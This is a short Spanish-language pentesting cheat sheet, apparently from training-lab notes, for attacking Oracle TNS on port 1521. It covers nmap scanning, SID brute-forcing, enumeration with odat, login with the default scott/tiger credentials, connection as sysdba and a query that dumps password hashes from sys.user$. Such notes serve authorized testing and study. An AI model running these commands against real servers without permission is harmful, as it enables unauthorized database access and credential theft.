TNS Oracle (1521)

El Oracle Transparent Network Substrate (TNS) el servidor es un protocolo de comunicación que facilita la comunicación entre bases de datos y aplicaciones de Oracle a través de redes
terminal
$ sudo nmap -p1521 -sV 10.129.204.235 --open

Nmap - SID Bruteforcing

terminal
$ sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
txt
PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute: 
|_  XE

Comando básico enumerar (Usuarios / Pass)

terminal
$ ./odat.py all -s 10.129.204.235

Entrar con SQLPlus

terminal
sqlplus scott/tiger@10.129.204.235/XE
XE : Es el identificador (Se puede obtener con nmap o odat)
scott/tiger : Usuario/Contraseña

Conectar como admin

terminal
sqlplus scott/tiger@10.129.204.235/XE as sysdba

Obtener hashes

sql
select name, password from sys.user$;